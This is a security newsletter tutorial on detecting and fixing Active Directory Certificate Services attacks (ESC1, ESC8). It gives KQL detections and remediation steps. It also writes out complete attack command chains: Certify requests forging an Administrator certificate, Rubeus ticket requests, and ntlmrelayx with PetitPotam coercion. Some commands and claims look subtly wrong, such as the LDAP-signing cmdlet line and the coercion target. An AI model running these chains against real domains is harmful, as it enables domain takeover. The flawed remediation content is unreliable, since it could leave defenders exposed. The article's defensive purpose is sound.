How to Detect Active Directory Certificate Services (AD CS) Attacks

Retool's new app builder is where AI-generated code ships safely
Building apps with AI is easy. Getting them to production safely is another story.
Most Active Directory environments have at least one misconfigured AD CS certificate template. The SpecterOps research ("Certified Pre-Owned", 2021) identified 13+ vulnerability classes: the most critical being ESC1, where a misconfigured template allows any authenticated user to request a certificate with a Subject Alternative Name (SAN) they specify, including Domain\Administrator. The resulting certificate can authenticate as that user for Kerberos using PKINIT, even after the victim's password is changed.
AD CS attacks are appealing to attackers because: certificates last months or years (unlike NTLM hashes that change on password reset), they are difficult to monitor without specific CA audit logging enabled, and many organizations do not regularly audit their certificate templates.
ESC1: Misconfigured Certificate Template
What makes a template vulnerable to ESC1:
All four conditions must be true:
- Enrollment rights are granted to low-privilege users (Domain Users, Authenticated Users)
- The template requires no manager approval (automatic issuance)
- The template allows the requester to specify a Subject Alternative Name (SAN):
ENROLLEE_SUPPLIES_SUBJECTflag set - The certificate purpose includes Client Authentication (EKU OID 1.3.6.1.5.5.7.3.2)
Identify ESC1 vulnerable templates:
# Using Certify (compiled from SpecterOps GitHub)
Certify.exe find /vulnerable
# Output shows templates with:
# [!] Vulnerable Certificate Templates:
# Template Name: VulnerableTemplate
# Enrollment Permissions:
# Enrollment Rights: CORP\Domain Users (enabled)
# msPKI-Certificate-Application-Policy: Client Authentication
# msPKI-Enrollment-Flag: ENROLLEE_SUPPLIES_SUBJECT
# Requires Manager Approval: False
# Using PowerShell only (no Certify):
$templates = Get-ADObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" \
-Filter {objectClass -eq "pKICertificateTemplate"} \
-Properties "msPKI-Enrollment-Flag", "msPKI-Certificate-Application-Policy"
$templates | Where-Object {
# ENROLLEE_SUPPLIES_SUBJECT = 0x1
($_."msPKI-Enrollment-Flag" -band 0x1) -and
# Client Authentication EKU
($_."msPKI-Certificate-Application-Policy" -contains "1.3.6.1.5.5.7.3.2")
} | Select-Object Name
Exploiting ESC1 (to understand the attacker flow):
# Request a certificate for Domain Admin using the vulnerable template:
Certify.exe request /ca:CA01.corp.local\corp-CA /template:VulnerableTemplate \
/altname:Administrator
# This requests a certificate with SAN = Administrator
# The CA issues it because the template allows ENROLLEE_SUPPLIES_SUBJECT
# Convert the PEM certificate to PFX:
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" \
-export -out cert.pfx
# Use the certificate to get a Kerberos TGT as Administrator:
Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password:mimikatz /ptt
# Result: TGT for Administrator: works even after password changes
# This TGT is valid until the certificate expires (typically 1-5 years)
ESC8: NTLM Relay to AD CS HTTP Enrollment
What is ESC8:
AD CS's web enrollment interface (usually at http://CA-SERVER/certsrv) accepts NTLM authentication by default and does not enforce HTTPS + Extended Protection for Authentication (EPA). This allows an NTLM relay attack: force a domain controller to authenticate to the attacker, relay that authentication to the AD CS HTTP enrollment endpoint, and request a Domain Controller certificate on behalf of the DC. The resulting certificate can then be used for authentication via PKINIT.
# Identify if HTTP enrollment is enabled:
curl -I http://CA01.corp.local/certsrv
# If you get a response (rather than connection refused), ESC8 may be exploitable
# Using certipy (Python-based AD CS assessment tool):
pip install certipy-ad
certipy find -u user@corp.local -p 'Password1' -dc-ip 10.0.0.1
# Output shows: CA is vulnerable to ESC8: HTTP enrollment without HTTPS+EPA
# Exploiting ESC8 (for lab understanding):
# 1. Set up Impacket ntlmrelayx targeting the AD CS HTTP endpoint:
python3 ntlmrelayx.py -t http://CA01.corp.local/certsrv/certfnsh.asp --adcs
# 2. Coerce DC authentication using PetitPotam or similar:
python3 PetitPotam.py attacker-ip CA01.corp.local
# 3. ntlmrelayx intercepts the DC authentication and relays to /certsrv
# 4. AD CS issues a DC certificate: use it with Rubeus to get DC TGT (DCSync follows)
Remediate ESC8:
# Option 1: Disable HTTP enrollment entirely (use HTTPS only)
# On the CA server:
# AD CS > Certificate Authority > Right-click > Properties >
# Security tab: remove HTTP enrollment bindings
# Option 2: Enable HTTPS + Extended Protection for Authentication (EPA)
# IIS Manager on CA server:
# Sites > Default Web Site > CertSrv > Authentication > Windows Authentication >
# Advanced Settings > Extended Protection: Required
# This prevents NTLM relay to the enrollment endpoint
# Option 3: Enable LDAP signing + LDAP channel binding on DCs
# This prevents PetitPotam/coercion attacks from being relayed
Set-ADDomainController -Identity DC01 -SigningAlgorithmOid "1.2.840.113549.1.1.11"
# Use GPO: Domain Controller Security Policy > Security Settings >
# Local Policies > Security Options >
# "Domain controller: LDAP server signing requirements" = Require signing
Briefings like this, every morning before 9am.
Threat intel, active CVEs, and campaign alerts, distilled for practitioners. 50,000+ subscribers. No noise.
Detection: CA Event Logs and Anomalies
Enable CA audit logging (disabled by default):
# Enable audit on the Certificate Authority:
certutil -setreg CA\AuditFilter 127
# 127 = audit all certificate operations (issue, revoke, request, fail)
net stop certsvc && net start certsvc
# This enables:
# Event 4886: Certificate services received a certificate request
# Event 4887: Certificate services approved a certificate request
# Event 4888: Certificate services denied a certificate request
# Event 4889: Certificate services set the status of a pending certificate request
# Event 4890: Revocation configuration changed
Sentinel KQL: detect ESC1 exploitation (SAN contains domain admin names):
// Monitor certificate requests where requester specifies admin-like SANs
SecurityEvent
| where EventID == 4887 // Certificate issued
| where TimeGenerated > ago(24h)
// Requester in field: look for non-admin accounts requesting admin certs
| parse Message with * "Requester: " Requester "\r" *
| parse Message with * "Subject: " Subject "\r" *
| parse Message with * "Issued Subject: " IssuedSubject "\r" *
// Alert when the issued subject doesn't match the requester
// (requester requested a certificate for a different identity)
| where IssuedSubject has_any ("Administrator", "Domain Admins", "krbtgt")
and Requester !has "Administrator"
| project TimeGenerated, Requester, Subject, IssuedSubject, Computer
// Baseline: how many certs is each user requesting per day?
SecurityEvent
| where EventID in (4886, 4887)
| where TimeGenerated > ago(7d)
| parse Message with * "Requester: " Requester "\r" *
| summarize CertCount = count() by Requester, bin(TimeGenerated, 1d)
| where CertCount > 5 // More than 5 cert requests per day = unusual
| sort by CertCount desc
Detect Certify.exe tool usage (Sysmon):
// Certify.exe generates characteristic LDAP queries against the PKI objects
Event
| where Source == "Microsoft-Windows-Sysmon" and EventID == 1
| extend EventData = parse_xml(EventData)
| extend
Image = tostring(EventData.DataItem.EventData.Data[4]["#text"]),
CommandLine = tostring(EventData.DataItem.EventData.Data[10]["#text"]),
SHA256 = tostring(EventData.DataItem.EventData.Data[17]["#text"])
// Certify.exe may be renamed: detect by known SHA256 or command patterns:
| where CommandLine has_any ("find /vulnerable", "request /ca:", "/template:", "/altname:")
or SHA256 == "<known Certify.exe SHA256 from threat intel>"
| project TimeGenerated, Computer, Image, CommandLine
Remediation: Fixing ESC1 Certificate Templates
# Disable ENROLLEE_SUPPLIES_SUBJECT on vulnerable templates
# Option 1: Edit the template flag directly
$template = Get-ADObject -Filter {Name -eq "VulnerableTemplate"} \
-SearchBase "CN=Certificate Templates,..." \
-Properties "msPKI-Enrollment-Flag"
$currentFlag = $template."msPKI-Enrollment-Flag"
# Remove the ENROLLEE_SUPPLIES_SUBJECT bit (0x1)
$newFlag = $currentFlag -band -bnot 0x1
Set-ADObject $template -Replace @{"msPKI-Enrollment-Flag" = $newFlag}
# Option 2: Require manager approval (breaks auto-issuance, but adds review step)
# Template Properties > Issuance Requirements > CA certificate manager approval
# Option 3: Restrict enrollment to specific named accounts/groups
# Remove "Domain Users" or "Authenticated Users" from Enrollment permissions
# Add only the specific service accounts or groups that legitimately need the template
# Option 4: Disable the template entirely if it's not in active use:
# Certificate Authority > Certificate Templates > Right-click template > Delete
# (Only removes the association; doesn't delete the template from AD)
# Identify which templates are actually being used:
# Check CA event log 4887 events for template names over the last 90 days
Get-WinEvent -ComputerName CA01 -LogName Security |
Where-Object { $_.Id -eq 4887 } |
ForEach-Object {
$msg = $_.Message
if ($msg -match 'Template: ([^\r\n]+)') { $matches[1] }
} | Group-Object | Sort-Object Count -Descending
# Templates with 0 usage in 90 days can be safely disabled
The bottom line
AD CS attacks are high-impact and underdetected: ESC1 (misconfigured template with ENROLLEE_SUPPLIES_SUBJECT + low-privilege enrollment) lets any domain user forge certificates for domain admins; ESC8 (HTTP enrollment without EPA) enables NTLM relay to get DC certificates. Run Certify.exe find /vulnerable or certipy find to audit your environment. Enable CA audit logging (certutil -setreg CA\AuditFilter 127) and monitor Event 4887 for certificate requests where the issued subject doesn't match the requester. Remediate ESC1 by removing ENROLLEE_SUPPLIES_SUBJECT flag from affected templates and restricting enrollment rights; remediate ESC8 by enabling HTTPS + EPA on the web enrollment endpoint.
Frequently asked questions
What is an ESC1 AD CS vulnerability?
ESC1 is an AD CS misconfiguration where a certificate template allows low-privilege users (Domain Users, Authenticated Users) to enroll without manager approval and to specify a Subject Alternative Name (SAN) of their choosing: including Domain\Administrator. This lets any domain user request a certificate that authenticates as a domain admin via Kerberos PKINIT, without knowing the admin's password, providing persistence that survives password changes for the certificate's lifetime (typically 1-5 years).
How do you find AD CS misconfigurations in your environment?
Run Certify.exe find /vulnerable (from the SpecterOps GitHub) or certipy find (Python alternative) from any authenticated domain machine. Both tools enumerate certificate templates and CA settings, flagging ESC1 through ESC8 misconfigurations. For continuous monitoring, enable CA audit logging (certutil -setreg CA\AuditFilter 127) and alert on Event 4887 where the issued certificate subject does not match the requesting account.
What is an AD CS ESC1 attack and how does it lead to domain compromise?
ESC1 is a vulnerable certificate template configuration where the template allows the enrollee to specify a Subject Alternative Name (SAN) in the certificate request. If the template also grants enrollment rights to a broad group (Domain Users or Authenticated Users), any domain user can request a certificate claiming to be any user in the domain — including a Domain Admin or the krbtgt account. The certificate can then be used for PKINIT Kerberos authentication or SChannel authentication, granting Domain Admin access without a password. ESC1 is the most commonly exploited AD CS misconfiguration. Remediation: disable the 'Supply in the request' SAN setting in vulnerable templates or restrict enrollment to specific security groups.
What is the difference between AD CS ESC1, ESC4, and ESC6?
ESC1: the certificate template allows requester-supplied Subject Alternative Names — any user can request a cert for any identity. ESC4: the certificate template has overly permissive ACLs (GenericWrite, WriteDacl) allowing a non-admin user to modify the template settings, effectively converting it to an ESC1 vulnerability. ESC6: the CA has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag set — this allows SAN specification in any certificate request regardless of the template's settings, making all templates with enrollment rights effectively ESC1. ESC4 and ESC6 both enable the same abuse as ESC1 but through different attack paths. SpecterOps's 'Certified Pre-Owned' whitepaper (2021) documents all ESC1 through ESC8 attack paths in detail.
How do I remediate AD CS ESC1 vulnerabilities without breaking PKI?
ESC1 remediation: open the Certificate Templates console (certtmpl.msc), find the vulnerable template, and in the Subject Name tab change 'Supply in the request' to 'Build from Active Directory information'. If applications need SAN in their certificates, require CA manager approval for certificate enrollment (in the Issuance Requirements tab: CA certificate manager approval required). This adds a human approval step for certificate requests with custom SANs, preventing automated exploitation while still allowing legitimate use. Before making changes, audit all recent certificates issued from the vulnerable template (Event 4887 in the CA event log) to identify any certificates already issued that may have been used for privilege escalation.
How do you revoke a forged AD CS certificate and invalidate attacker persistence after an ESC1 exploitation?
Identify the forged certificate's serial number from CA Event 4887 logs: the event records the requester account, the issued subject (which will not match the requester), and the certificate serial number. Revoke the certificate immediately via the Certification Authority MMC snap-in: right-click the issued certificate and select 'All Tasks > Revoke Certificate', then publish a new CRL with 'certutil -CRL'. Verify OCSP and CRL distribution point propagation before assuming the certificate is invalidated: clients cache CRL responses, so publish a delta CRL with a very short validity period (1 hour) to force rapid revocation uptake. After revoking, run 'klist purge' on all potentially compromised machines to flush cached Kerberos tickets that may have been obtained with the forged certificate, and reset the password of any account that was impersonated to invalidate existing NTLM hashes derived from the credential.
Sources & references
Free resources
Critical CVE Reference Card 2025–2026
25 actively exploited vulnerabilities with CVSS scores, exploit status, and patch availability. Print it, pin it, share it with your SOC team.
Ransomware Incident Response Playbook
Step-by-step 24-hour IR checklist covering detection, containment, eradication, and recovery. Built for SOC teams, IR leads, and CISOs.
Get threat intel before your inbox does.
50,000+ security professionals read Decryption Digest for early warnings on zero-days, ransomware, and nation-state campaigns. Free, daily, no spam.
Unsubscribe anytime. We never sell your data.

Founder & Cybersecurity Evangelist, Decryption Digest
Cybersecurity professional with expertise in threat intelligence, vulnerability research, and enterprise security. Covers zero-days, ransomware, and nation-state operations for 50,000+ security professionals every morning.
Win a $2,495 Black Hat pass.
Full-access to Black Hat USA 2026 in Las Vegas. Subscribe free to enter.
